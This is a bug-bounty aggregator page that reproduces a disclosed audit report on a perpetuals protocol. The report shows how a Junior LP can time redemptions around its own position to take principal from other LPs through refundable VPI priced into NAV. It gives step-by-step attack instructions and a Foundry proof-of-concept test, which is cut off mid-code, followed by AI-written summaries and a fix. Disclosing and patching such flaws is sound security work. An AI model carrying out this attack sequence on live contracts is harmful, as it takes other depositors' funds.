Skip to content
Business logic Audit finding Advanced

Refundable VPI priced as Junior NAV at LP epoch settlement allows a Junior LP to take the principal of remaining Junior LPs by redeeming between its own open and close

A positive VPI charge paid when a trader opens a position is booked into HousePool cash and priced into Junior NAV at the next LP epoch settlement, yet the same position can later reclaim that charge as a close rebate. A Junior LP who redeems between its own open and close therefore takes part of the principal of the Junior LPs who remain.

Persona404 Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

#97887 [SC-Critical] Refundable VPI priced as Junior NAV at LP epoch settlement allows a Junior LP to take the principal of remaining Junior LPs by redeeming between its own open and close

Submitted on Nov 3rd 2026 at 18:25:52 UTC by @Persona404 for Audit Competition | Plether

Description

Brief/Intro

A positive VPI charge paid when a trader opens a skew-increasing position goes straight into HousePool cash. The next LP epoch settlement prices it as Junior NAV. The lifetime clamp then lets the same position take that exact amount back as a close rebate. A Junior LP who also trades can request a redemption, open a large long in the last minute before the epoch boundary, redeem at the inflated NAV, and close the long to recover the VPI. The rebate is paid from a pool that now belongs only to the Junior LPs who stayed, so their principal drops below what they deposited while the attacker ends up ahead. Every step uses public entry points and an ordinary keeper. In the PoC a victim with 10,000,000 USDG in Junior loses 54,511 USDG in one cycle and 200,900 USDG (2.01 % of its funds) over three cycles at the release caps.

Vulnerability Details

VPI is paid into the pool at open. In CfdEngineSettlementSidecar.executeOpen the positive trade cost is credited to the pool as revenue:

Solidity
// CfdEngineSettlementSidecar.sol:454-462
if (delta.tradeCostAssets > 0) {
    uint256 poolCashInflowAssets = uint256(delta.tradeCostAssets) - protocolFeeCreditedAssets;
    if (poolCashInflowAssets > 0) {
        IHousePool(host.pool()).recordClaimantInflow(
            poolCashInflowAssets,
            IHousePool.ClaimantInflowKind.Revenue,
            IHousePool.ClaimantInflowCashMode.CashArrived
        );

That cash is part of HousePool.totalAssets(). At the next settleLpEpoch the reconcile step books it to Junior, and _settleLpEpoch freezes juniorPhase.pricingPrincipal / pricingSupply from that state (HousePool.sol:824-847). Matured Junior redemptions are paid at that price. Nothing in CfdEngineProtocolLens.getHousePoolInputSnapshot subtracts the VPI that open positions can still get back.

The same position does get it back. When it closes and skew falls, the close VPI delta is negative, and the lifetime clamp only stops it at zero lifetime VPI:

Solidity
// CloseAccountingLib.sol:112-118
// Clamp so lifetime VPI (accrued + delta) never goes negative. Prevents LP sandwich attacks
// where an attacker opens at high depth, reduces pool depth, then closes to extract a
// net-negative lifetime VPI rebate. This rule is identical in live and oracle-frozen markets; frozen-market
// stale-price risk is priced separately through frozenSpreadAssets.
if (state.proportionalAccrualAssets + state.vpiDeltaAssets < 0) {
    state.vpiDeltaAssets = -state.proportionalAccrualAssets;
}

So a round trip at unchanged depth refunds exactly what was paid, and CfdEngineSettlementSidecar.sol:621-624 pays the rebate with IHousePool.payOut. The pool treats a refundable charge as earned income. Whoever leaves the pool between the open and the close takes a share of a refund that the remaining LPs then pay.

Attack, with b the next hour boundary:

  1. The attacker deposits X into Junior at fair NAV and waits the 1 h activation cooldown.
  2. At b - 400 (before the five-minute cutoff) it calls juniorVault.requestRedeem for all its shares. The request targets epoch b.
  3. At b - 60 it commits a long of size S with OrderRouter.commitOrder and any keeper executes it. VPI C = 0.005 * S^2 / D goes into the pool. A victim who sees this and requests a redemption now lands in epoch b + 3600 (asserted in the PoC).
  4. At b any keeper calls OrderRouter.settleLpEpoch. The attacker's redemption is priced with C inside Junior NAV, so it receives about f * C more than an honest redemption, where f is its share of Junior.
  5. The attacker closes the long. The rebate is exactly C (the clamp is met with equality) and is paid from the pool.

The attacker pays two execution fees and gets f * C. The remaining Junior LPs pay the rebate C and keep only their small share of the fee left in the pool. In additional local runs that are not part of this PoC, net profit turned positive from about f = 0.40 without existing skew, and from about f = 0.21 when same-side skew from other traders already sat near the wall. The attacker does not need to already own Junior; it creates the share with its own deposit, which it gets back.

Every guard on the path passes within its own bound. The skew wall (0.4 D) and free cash for the redemption limit S. The Junior covenant passes, and in the cycle test the attacker leaves a remainder in Junior to satisfy it. The lifetime clamp passes with equality, and the rebate cap in free cash passes. None of them protect the pro rata share between Junior LPs.

How this differs from what the documentation accepts. I quote the relevant lines in full.

ACCOUNTING_SPEC.md:731-740: "LP ownership follows collection time. Indexed pending carry and retained unsettledCarryAssets are trader debt, not LP NAV receivables. Cash collection becomes pool revenue and the existing tranche waterfall prices it at the next reconcile. Shares activated before collection participate even while held in deposit-claim escrow; shares burned to fund a redemption stop participating, and the resulting fixed cash claim does not earn later carry. Carry collected before deposit activation is already included in the activation price. This intentionally allows a trader and incoming LP to time collection after LP activation and share carry accrued before that activation. There is no account sweep, accrual-cohort allocation, or entry/exit barrier for pending carry. The same rule applies when retained arrears are later paid. This is a collection-time ownership policy, not a claim that timing cannot transfer part of old carry revenue to a new LP."

This policy is about carry, which is earned and never paid back. It lets timing move part of real revenue between LP generations, and it says a redeeming LP stops participating once its shares are burned. That is exactly what the attacker relies on, but for carry it only means an LP gets more or less of real income. No LP ends below its own principal because of it. Here the charge is refunded to the payer after the redemption, and the LPs who stayed fund the refund from principal.

ACCOUNTING_SPEC.md:1064-1066: "anticipated carry, VPI, fees, spreads, and other action economics stay outside terminal K; the book is synchronized only to actually installed PnL pledge and same-account claim state after settlement. The VPI reserve therefore does not inflate marked LP receivables or symmetric LP NAV," and SECURITY.md:871-872: "new close-time action rebates use only pool cash free after protecting existing trader claims. Unfunded value is waived rather than claim-backed, and neither anticipated VPI nor its reserve inflates terminal K or symmetric NAV,". These keep future VPI out of NAV. The issue is the opposite case: VPI that has already been paid but is still refundable to the same position does inflate NAV.

The code comment above the clamp, and SECURITY.md:1443 ("the lifetime clamp intentionally zeroes otherwise extractable rebate-only round trips"), state that the clamp exists to stop LP sandwiches on VPI. This is such a sandwich. The trader leg nets exactly zero VPI, so the clamp lets it through, and the profit is taken on the LP side.

There is a small passive version of the same leak without any attacker. An LP who redeems while honest VPI-paying positions are open takes a share of refundable VPI, at most about 2 bps of remaining Junior per epoch in additional local runs. This shows the NAV rule is the cause. The attack is the deliberate, large version of it.

This is also not the AI-scan item "Temporary pool-liquidity reduction can amplify a skew-reducing close rebate". That item needs a depth change between open and close. test_DepthNeutral_NewLpPays keeps depth unchanged: a new LP deposits 60M in the same epoch the attacker redeems 60M. The rebate equals the paid VPI, the attacker still gains 37,707 USDG, and the new LP loses 56,899 USDG of its 60M deposit in the same hour. A fix for that AI-scan item does not stop this.

Suggested fix: count the positive lifetime VPI of open positions, sum(max(vpiAccrued, 0)), as an LP liability in the HousePool input snapshot, by keeping a side aggregate in the settlement sidecar and subtracting it from terminalLpPriceDeltaAssets in CfdEngineProtocolLens.getHousePoolInputSnapshot. VPI then becomes LP income only when the position closes or is liquidated, and only for the part that is not refunded. This mirrors how the negative VPI reserve is already kept out of NAV. test_FixClosesTheLeak shows it with a local lens: the attacker's redemption becomes identical to the honest one (59,999,436.383803 USDG in both branches) and the attack loses 33,601 USDG in fees.

Impact Details

The remaining Junior LPs lose principal, and the attacker profits. All positions are closed before anything is measured, so the loss is final and is not reconciled later.

Scenario (PoC test) Attacker vs honest Victim loss Share of victim funds
One cycle, Junior 10M, Senior 36M, attacker 60M, long 42M (test_SingleCycle) +37,716.91 54,511.66 0.55 %
One cycle, attacker 15M (60 % of Junior), long 24.4M (test_SmallerAttacker) +9,757.12 19,515.37 0.20 %
Three cycles at release caps, Junior 10M, Senior 40M, attacker 75M (test_ThreeCycles_ReleaseCaps) +141,163.85 200,900.41 2.01 %
Same epoch new LP deposits 60M (test_DepthNeutral_NewLpPays) +37,707.17 new LP loses 56,899.53 0.09 % of the new deposit

In test_SingleCycle the victim deposited 10,000,000 USDG and ends with 9,945,010.86 USDG, against 9,999,522.52 USDG in the honest branch. In the three-cycle test it ends with 9,797,686.63 USDG. The loss is about the same in every cycle (67,434, 66,966 and 66,500 USDG; VPI paid 99,182, 99,172 and 99,162 USDG) and nothing returns it. One cycle takes about 3 hours, so the attack can run several times per trading day. Senior is not affected in any test; the loss lands on Junior.

The victims have no loss-free exit. Before the cutoff only the attacker's redemption request is visible, not the open. A redemption requested after the open lands in the next epoch, when the loss is already realized.

I selected "Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield". The victims lose more than their own share of the VPI revenue ((1 - f) * C = 11,887 USDG against a loss of 54,511 USDG in the single cycle), and they end below their deposited principal, so this is principal and not only yield.

Feasibility. The capital is below the program's 100M case-by-case line, and the program states "A high capital requirement is generally not a valid reason to downgrade a report". The capital is returned in the same cycle and can be borrowed for about 3 hours. Price risk is short and symmetric. The open is executed about 60 s before settlement and closed right after, which is roughly 1 bp of FX basket move with zero expected value, against an expected gain of about 37,700 USDG per cycle at 42M. A skew-reducing order from a third party inside the same 60 s window would reduce the profit, but nobody has an economic reason to place one there.

I am happy to address any technical concerns, clarify assumptions, or provide additional evidence. If any aspect of the report may affect its validity or severity assessment, please let me know so I can respond before a final determination is made.

References

Proof of Concept

The PoC is a Foundry test in the repository's own test suite at the commit in scope. It does not modify any contract in scope. Pyth and USDG are the repository mocks, which the program allows. Every attack step goes through production entry points: TrancheVault requestDeposit / claimDeposit / requestRedeem / claimRedeem, OrderRouter.commitOrder with a V3 OrderRequest from the trader EOA, and OrderRouter.executeOrder, OrderRouter.settleLpEpoch and OrderRouter.updateMarkPrice from an unprivileged keeper EOA. The test contract acts only as the owner during configuration, where it sets the release values from packages/perps/DEPLOYMENT.md (maint 10 bps, initial 20 bps, vpiFactor 0.01e18, execution fee 4 bps, settlement buffer 25 bps, min open notional 1,000 USDG, adverse confidence 2,500 bps, Senior caps 40M and 8,000 bps through the real 72 h timelocks). Each test runs the same history twice from one snapshot: an honest branch (same deposits and redemption, no trade) and an attack branch. All positions are closed before anything is measured.

The fixture test/perps/BasePerpTest.sol deploys the Router as LegacyOrderRouterHarness, which inherits OrderRouter unchanged. The PoC calls only the production V3 commitOrder(OrderRequest), not the legacy helper.

Environment setup:

  1. Install Foundry (tested with forge 1.7.1; the program names Forge 1.5.1 and either works). Solidity 0.8.35 is downloaded automatically.
  2. Clone the repository at the commit in scope:
Bash
git clone --recurse-submodules https://github.com/immunefi-team/audit-comp-plether.git
cd audit-comp-plether
git checkout --detach a82d4fefb02768e5b3bddcc97dee371eee24fea8
git submodule update --init --recursive
mkdir -p packages/perps/test/poc

Reproduction:

  1. Save the following file as packages/perps/test/poc/PletherVpiNavTiming.t.sol:
Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

import {BasePerpTest} from "../perps/BasePerpTest.sol";
import {SafeCast} from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import {CfdEngine} from "@plether/perps/CfdEngine.sol";
import {CfdEngineProtocolLens} from "@plether/perps/CfdEngineProtocolLens.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {TrancheVault} from "@plether/perps/TrancheVault.sol";
import {HousePoolEngineViewTypes} from "@plether/perps/interfaces/HousePoolEngineViewTypes.sol";
import {ICfdEngineProtocolLens} from "@plether/perps/interfaces/ICfdEngineProtocolLens.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {console2} from "forge-std/console2.sol";

/// @dev Used ONLY by test_FixClosesTheLeak to show the suggested fix. Not part of the attack.
///      The HousePool input snapshot treats each open position's positive lifetime VPI (the most the lifetime clamp
///      can refund to that position) as an LP liability. Everything else is forwarded to an unmodified
///      CfdEngineProtocolLens.
contract FixedProtocolLens {

    address public immutable INNER;
    CfdEngine public immutable ENG;
    address[] internal tracked;

    constructor(
        address inner,
        address eng
    ) {
        INNER = inner;
        ENG = CfdEngine(eng);
    }

    function setTracked(
        address[] calldata accounts
    ) external {
        delete tracked;
        for (uint256 i; i < accounts.length; i++) {
            tracked.push(accounts[i]);
        }
    }

    function refundableVpiAssets() public view returns (uint256 sum) {
        for (uint256 i; i < tracked.length; i++) {
            (,,,,,, int256 v) = ENG.positions(tracked[i]);
            if (v > 0) {
                sum += uint256(v);
            }
        }
    }

    function getHousePoolInputSnapshot(
        uint256 markStalenessLimit
    ) external view returns (HousePoolEngineViewTypes.HousePoolInputSnapshot memory snapshot) {
        snapshot = ICfdEngineProtocolLens(INNER).getHousePoolInputSnapshot(markStalenessLimit);
        snapshot.terminalLpPriceDeltaAssets -= int256(refundableVpiAssets());
    }

    fallback() external {
        address inner = INNER;
        assembly {
            calldatacopy(0, 0, calldatasize())
            let ok := staticcall(gas(), inner, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            if iszero(ok) { revert(0, returndatasize()) }
            return(0, returndatasize())
        }
    }

}

/// @dev Paid VPI is priced into Junior NAV at LP epoch settlement, but the same position gets it back as a close
///      rebate. A Junior LP that redeems between its own open and close takes part of the remaining Junior principal.
///      Every attack step uses production entry points: TrancheVault request/claim, OrderRouter.commitOrder
///      (V3 OrderRequest from the trader EOA), and OrderRouter.executeOrder / settleLpEpoch / updateMarkPrice from an
///      unprivileged KEEPER EOA. Pyth and USDG are the repository mocks (out of scope). No deal, no vm.store and no
///      prank of a protocol address in the attack. The test contract acts only as the owner during configuration.
///      Parameters: DEPLOYMENT.md release values, Senior caps 40M / 8000 bps set through the real 72 h timelocks.
///      Each test runs the same history twice from one snapshot: an honest branch (same deposits and redemption, no
///      trade) and an attack branch. All positions are closed before anything is measured.
contract PletherVpiNavTimingPoC is BasePerpTest {

    address internal constant VICTIM = address(0xC201);
    address internal constant SENIOR_LP = address(0xC202);
    address internal constant ATTACKER = address(0xC203);
    address internal constant KEEPER = address(0xC204);
    address internal constant NEW_LP = address(0xC207);

    uint256 internal clientNonce;
    uint256 internal boundary;

    struct Outcome {
        uint256 redeemedAssets;
        int256 attackerNet;
        uint256 victimValue;
        uint256 seniorValue;
        uint256 treasuryBalance;
        uint256 vpiPaid;
        uint256 newLpValue;
    }

    struct CycleResult {
        uint256 attackerWealth;
        uint256 victimValue;
        uint256 seniorValue;
        uint256[] victimAfter;
        uint256[] vpiPaid;
    }

    function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
        return CfdTypes.RiskParams({
            vpiFactor: 0.01e18,
            maxSkewRatio: 0.4e18,
            maintMarginBps: 10,
            initMarginBps: 20,
            fadMarginBps: 300,
            baseCarryBps: 500,
            minBountyAssets: 1e6,
            bountyBps: 10,
            keeperShareBps: 5000,
            protocolShareBps: 0
        });
    }

    function _initialJuniorDeposit() internal pure override returns (uint256) {
        return 0;
    }

    // ------------------------------------------------------------------ configuration

    function _configureProduction() internal {
        IHousePool.PoolConfig memory poolCfg = _currentPoolConfig();
        poolCfg.maxSeniorExposureAssets = 40_000_000e6;
        poolCfg.maxSeniorShareBps = 8000;
        pool.proposePoolConfig(poolCfg);

        IOrderRouterAdminHost.RouterConfig memory routerCfg = _routerConfig();
        routerCfg.minOpenNotionalAssets = 1_000e6;
        routerCfg.adverseConfidenceMultiplierBps = 2500;
        routerAdmin.proposeRouterConfig(routerCfg);

        uint256 t = pool.poolConfigActivationTime();
        uint256 t2 = routerAdmin.routerConfigActivationTime();
        vm.warp((t > t2 ? t : t2) + 1);
        pool.finalizePoolConfig();
        routerAdmin.finalizeRouterConfig();

        assertEq(pool.maxSeniorExposureAssets(), 40_000_000e6, "senior cap");
        assertEq(pool.maxSeniorShareBps(), 8000, "senior share cap");
        assertEq(router.minOpenNotionalAssets(), 1_000e6, "min open notional");
        assertEq(router.maxPendingOrders(), 5, "max pending orders");
        assertEq(router.maxExecutionWindowSeconds(), 60, "execution window");
        assertEq(engine.executionFeeBps(), 4, "execution fee");
        assertEq(engine.settlementBufferBps(), 25, "settlement buffer");
    }

    function _installFix() internal {
        address lensAddr = address(pool.ENGINE_PROTOCOL_LENS());
        CfdEngineProtocolLens inner = new CfdEngineProtocolLens(address(engine));
        FixedProtocolLens impl = new FixedProtocolLens(address(inner), address(engine));
        vm.etch(lensAddr, address(impl).code);
        address[] memory accts = new address[](2);
        accts[0] = ATTACKER;
        accts[1] = VICTIM;
        FixedProtocolLens(lensAddr).setTracked(accts);
    }

    // ------------------------------------------------------------------ production-path helpers

    function _pyth(
        uint256 price
    ) internal returns (bytes[] memory updateData) {
        vm.roll(vm.getBlockNumber() + 1);
        vm.warp(vm.getBlockTimestamp() + 1);
        uint256 publishTime = _mockHistoricalPublishTime();
        baseMockPyth.setAllUniquePrices(
            _basePythFeedIds(),
            SafeCast.toInt64(SafeCast.toInt256(price)),
            0,
            int32(-8),
            publishTime,
            publishTime == 0 ? 0 : publishTime - 1
        );
        updateData = new bytes[](1);
        updateData[0] = abi.encode(price);
    }

    function _keeperSettle() internal {
        bytes[] memory data = _pyth(1e8);
        vm.prank(KEEPER);
        router.settleLpEpoch(data);
    }

    function _keeperMark() internal {
        bytes[] memory data = _pyth(1e8);
        vm.prank(KEEPER);
        router.updateMarkPrice(data);
    }

    function _depositFromWallet(
        TrancheVault vault,
        address lp,
        uint256 amount
    ) internal returns (uint256 shares) {
        vm.startPrank(lp);
        settlementToken.approve(address(vault), amount);
        uint256 requestId = vault.requestDeposit(amount, lp, lp);
        vm.stopPrank();
        uint256 activationTime = vault.depositEpochStart(requestId);
        if (vm.getBlockTimestamp() < activationTime) {
            vm.warp(activationTime);
        }
        _keeperSettle();
        uint256 claimable = vault.claimableDepositRequest(requestId, lp);
        assertEq(claimable, amount, "deposit activated in full");
        vm.prank(lp);
        shares = vault.claimDeposit(requestId, claimable, lp, lp);
    }

    function _depositReal(
        TrancheVault vault,
        address lp,
        uint256 amount
    ) internal returns (uint256 shares) {
        settlementToken.mint(lp, amount);
        shares = _depositFromWallet(vault, lp, amount);
    }

    function _notional(
        uint256 size
    ) internal pure returns (uint256) {
        return size * 1e8 / 1e20;
    }

    function _commitV3(
        address account,
        CfdTypes.Side side,
        uint256 size,
        uint256 margin,
        uint256 targetPrice,
        bool isClose
    ) internal returns (uint64 orderId) {
        clientNonce++;
        uint256 notional = _notional(size);
        OrderV3Types.OrderRequest memory req = OrderV3Types.OrderRequest({
            clientOrderId: keccak256(abi.encode("poc", account, clientNonce)),
            side: side,
            sizeDelta: size,
            marginDelta: margin,
            targetPrice: targetPrice,
            isClose: isClose,
            bounds: OrderV3Types.ExecutionBounds({
                submitBy: uint64(vm.getBlockTimestamp() + 30),
                executionWindowSeconds: 60,
                allowedExecutionModes: 1,
                expectedConfigHash: router.lifecycleBook().currentExecutionConfigHash(),
                maxExecutionBountyAssets: 200_000,
                maxExecutionNotionalAssets: notional * 102 / 100,
                maxGrossAccountDebitAssets: margin + notional / 50,
                maxActionChargeAssets: notional / 100,
                maxExplicitFeesAssets: notional / 1000,
                maxPostPositionSize: isClose ? 0 : size,
                minPostSettlementBalanceAssets: 0,
                minPostPositionEquityAssets: 0,
                maxPostLeverageBps: 5_000_000
            })
        });
        vm.prank(account);
        orderId = router.commitOrder(req);
    }

    function _keeperExecute(
        uint64 orderId
    ) internal {
        bytes[] memory data = _pyth(1e8);
        vm.prank(KEEPER);
        OrderV3Types.ExecutionResult memory r = router.executeOrder(orderId, data);
        assertEq(uint256(r.status), uint256(OrderV3Types.LifecycleStatus.Executed), "order executed");
    }

    function _openLong(
        address trader,
        uint256 size
    ) internal {
        uint64 id = _commitV3(trader, CfdTypes.Side.LONG, size, _notional(size) / 100, 1e8 * 9990 / 10_000, false);
        _keeperExecute(id);
        (uint256 s,,,,,,) = engine.positions(trader);
        assertEq(s, size, "open filled");
    }

    function _closeLong(
        address trader,
        uint256 size
    ) internal {
        uint64 id = _commitV3(trader, CfdTypes.Side.LONG, size, 0, 1e8 * 10_010 / 10_000, true);
        _keeperExecute(id);
        (uint256 s,,,,,,) = engine.positions(trader);
        assertEq(s, 0, "close filled");
    }

    /// @dev Next hour boundary b, and warp to b - 400 (before the five-minute request cutoff b - 300).
    function _nextBoundary() internal returns (uint256 b) {
        b = (vm.getBlockTimestamp() / 3600 + 1) * 3600;
        if (vm.getBlockTimestamp() > b - 400) {
            b += 3600;
        }
        vm.warp(b - 400);
    }

    /// @dev Largest lot multiple under the 0.4 skew wall and under the free cash needed to fund `redeemValue`.
    function _autoSize(
        uint256 redeemValue
    ) internal view returns (uint256 size) {
        uint256 d = pool.totalAssets();
        (uint256 longMaxProfit,,,) = engine.sides(0);
        uint256 capAssets = d * 4 / 10 * 999 / 1000;
        capAssets = capAssets > longMaxProfit ? capAssets - longMaxProfit : 0;
        uint256 freeAssets = d > redeemValue + longMaxProfit * 10_025 / 10_000
            ? (d - redeemValue - longMaxProfit * 10_025 / 10_000) * 10_000 / 10_025 * 998 / 1000
            : 0;
        uint256 a = capAssets < freeAssets ? capAssets : freeAssets;
        size = (a * 1e12 / 1e20) * 1e20;
    }

    /// @dev Shares the attacker must leave in Junior so the 80 % Senior covenant can fund the rest.
    function _covenantKeepShares(
        uint256 attackerShares
    ) internal view returns (uint256) {
        uint256 others = juniorVault.totalAssets() - juniorVault.convertToAssets(attackerShares);
        uint256 seniorExposure = pool.seniorPrincipal() > pool.seniorHighWaterMark()
            ? pool.seniorPrincipal()
            : pool.seniorHighWaterMark();
        uint256 required = seniorExposure * 2500 / 10_000 + 20_000e6;
        if (others >= required) {
            return 0;
        }
        uint256 keep = juniorVault.convertToShares(required - others) + 1;
        return keep < attackerShares ? keep : attackerShares;
    }

    // ------------------------------------------------------------------ single cycle

    function _setUp(
        uint256 victimJ,
        uint256 senior,
        uint256 attackerJ
    ) internal {
        _configureProduction();
        _depositReal(juniorVault, VICTIM, victimJ);
        _depositReal(seniorVault, SENIOR_LP, senior);
        _depositReal(juniorVault, ATTACKER, attackerJ);
        vm.warp(vm.getBlockTimestamp() + 1 hours + 1); // activation cooldown
        boundary = _nextBoundary();
    }

    function _run(
        uint256 attackerJ,
        uint256 attackSize,
        uint256 newLpDeposit,
        bool attack
    ) internal returns (Outcome memory o) {
        uint256 b = boundary;

        // Step 1 (b - 400): attacker requests redemption of all its Junior shares, before the cutoff.
        uint256 shares = juniorVault.balanceOf(ATTACKER);
        vm.prank(ATTACKER);
        uint256 requestId = juniorVault.requestRedeem(shares, ATTACKER, ATTACKER);
        assertEq(pool.lpEpochStart(requestId), b, "attacker redemption in the closing epoch");

        uint256 newLpRequestId;
        if (newLpDeposit > 0) {
            settlementToken.mint(NEW_LP, newLpDeposit);
            vm.startPrank(NEW_LP);
            settlementToken.approve(address(juniorVault), newLpDeposi

The original report as published on Immunefi, by Persona404. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the HousePool input snapshot counts VPI already paid but still refundable to open positions as LP income, so it inflates Junior NAV at epoch settlement while the same position can later reclaim it as a rebate.

Impact

Remaining Junior LPs lose principal while the attacker profits; in the PoC a victim with 10,000,000 USDG in Junior loses 54,511 USDG in one cycle and 200,900 USDG over three cycles, and Senior is not affected.

What the attacker needed

Capital for a Junior deposit; one-hour activation cooldown; keeper executes orders and settlement; attacker also trades the same market

The fix

The positive lifetime VPI of open positions should be counted as an LP liability in the HousePool input snapshot so VPI only becomes LP income when the position closes or is liquidated.

How it was found

  1. Deposit into Junior at fair NAV and wait the one-hour activation cooldown.
  2. Before the five-minute cutoff, request redemption of all shares targeting the next epoch boundary.
  3. About a minute before the boundary, commit a large long so the VPI charge enters the pool.
  4. At the boundary, have a keeper settle the LP epoch so the redemption is priced with the VPI included.
  5. Close the long to recover the VPI as a rebate paid from the pool.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A pool of investors (the Junior LPs) shares in the pool's value, and each investor's share is priced when the pool settles its accounts. When a trader opens a bet, a fee called VPI goes into the pool, and that fee is counted as pool value even though the trader can get it back when closing. An attacker who is also an investor can cash out at the inflated price, then close the bet to recover the fee, leaving the other investors to cover the difference.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Persona404

View all

1 more disclosed report, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.